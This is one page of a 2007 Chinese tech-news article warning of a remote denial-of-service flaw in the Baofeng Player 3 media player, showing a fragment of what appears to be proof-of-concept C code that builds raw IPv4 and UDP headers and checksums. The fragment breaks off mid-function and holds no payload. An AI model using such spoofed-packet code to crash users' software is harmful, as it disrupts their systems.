警告! 暴风影音3 爆远程拒绝服务漏洞

2007-11-29 16:38:02| 点击:0| 评论:0| 好评:0| 坏评:0|第2页/共4页 << 上一页|下一页 >>

相关标签: 数码 | 业界 | 网络风云

侠客:zhangshumeng1

unsigned short ip_checksum; // IP checksum

unsigned int ip_srcaddr; // Source address

unsigned int ip_destaddr; // Source address

} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;

//

// Define the UDP header

//

typedef struct udp_hdr

{

unsigned short src_portno; // Source port no.

unsigned short dst_portno; // Dest. port no.

unsigned short udp_length; // Udp packet length

unsigned short udp_checksum; // Udp checksum (optional)

} UDP_HDR, *PUDP_HDR;

// Restore the byte boundary back to the previous value

//

// Function: checksum

//

// Description:

// This function calculates the 16-bit one's complement sum

// for the supplied buffer.

//

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while (size > 1)

{

cksum += *buffer++;

size -= sizeof(USHORT);

}

if (size)

{

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

//

// Function: InitIpv4Header

//

// Description:

// Initialize the IPv4 header with the version, header length,

// total length, ttl, protocol value, and source and destination

// addresses.

//

第3页:暴风影音3 爆远程拒绝服务漏洞3

int InitIpv4Header(

char *buf,

char *src,

char *dest,

int payloadlen

)

{

IPV4_HDR *v4hdr=NULL;

v4hdr = (IPV4_HDR *)buf;

v4hdr->ip_verlen = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long));

v4hdr->ip_tos = 0;

v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);

v4hdr->ip_id = 0;

v4hdr->ip_offset = 0;

v4hdr->ip_ttl = 128;

v4hdr->ip_protocol = 0x11;

v4hdr->ip_checksum = 0;

v4hdr->ip_srcaddr = inet_addr(src);

v4hdr->ip_destaddr = inet_addr(dest);

v4hdr->ip_checksum = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));

return sizeof(IPV4_HDR);

}

//

// Function: ComputeUdpPseudoHeaderChecksumV4

//

// Description:

// Compute the UDP pseudo header checksum. The UDP checksum is based

// on the following fields:

// o source IP address

// o destination IP address

// o 8-bit zero field

// o 8-bit protocol field

// o 16-bit UDP length

// o 16-bit source port

// o 16-bit destination port

// o 16-bit UDP packet length

// o 16-bit UDP checksum (zero)

// o UDP payload (padded to the next 16-bit boundary)

// This routine copies these fields to a temporary buffer and computes

// the checksum from that.

//

void ComputeUdpPseudoHeaderChecksumV4(

void *iphdr,

UDP_HDR *udphdr,

char *payload,

int payloadlen

)

{

IPV4_HDR *v4hdr=NULL;

unsigned long zero=0;

char buf[0x10000],

*ptr=NULL;

int chksumlen=0,

i;

ptr = buf;

v4hdr = (IPV4_HDR *)iphdr;

// Include the source and destination IP addresses

memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr));

ptr += sizeof(v4hdr->ip_srcaddr);

chksumlen += sizeof(v4hdr->ip_srcaddr);

memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));

ptr += sizeof(v4hdr->ip_destaddr);

chksumlen += sizeof(v4hdr->ip_destaddr);

// Include the 8 bit zero field

memcpy(ptr, &zero, 1);

ptr++;

chksumlen += 1;

// Protocol

memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));

ptr += sizeof(v4hdr->ip_protocol);

chksumlen += sizeof(v4hdr->ip_protocol);

// UDP length

memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));

ptr += sizeof(udphdr->udp_length);

chksumlen += sizeof(udphdr->udp_length);

// UDP source port

memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));

ptr += sizeof(udphdr->src_portno);

点击:0评论:0好评:0坏评:0
 

最新评论

标题作者发布时间

发表评论

您必须登录后才能发表评论,  请登录  新用户?注册


    精彩推荐